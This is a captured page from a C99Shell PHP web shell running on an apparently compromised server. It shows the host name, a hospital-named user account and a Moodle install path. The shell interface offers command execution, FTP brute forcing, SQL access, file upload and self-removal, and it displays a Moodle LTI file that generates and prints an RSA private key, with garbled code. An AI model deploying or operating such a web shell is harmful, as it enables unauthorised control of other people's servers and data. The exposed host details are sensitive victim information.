!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/moodle29/   drwxr-xr-x
Free 302.26 GB of 429.69 GB (70.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     privatekey.php (786 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

// We do not need this file any more
@unlink('privatekey.php');

$ltikey __mod_lti_verify_private_key();

echo 
'<kid>'.$ltikey['kid'].'</kid>';
echo 
'<privatekey>'.$ltikey['privatekey'].'</privatekey>';

function 
__mod_lti_verify_private_key() {
    global 
$error;
    
    if (!
function_exists('openssl_random_pseudo_bytes')) {
        
$error[] = "openssl must be loaded for openssl_random_pseudo_bytes to function";
        return 
null;
    }
    
    
// Create the private key.
    
$kid bin2hex(openssl_random_pseudo_bytes(10));
    
    
$config = array(
        
"digest_alg" => "sha256",
        
"private_key_bits" => 2048,
        
"private_key_type" => OPENSSL_KEYTYPE_RSA,
    );
    
$res openssl_pkey_new($config);
    
openssl_pkey_export($res$privatekey);

    return array(
        
'kid' => $kid,
        
'privatekey' => $privatekey,
    );
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0035 ]--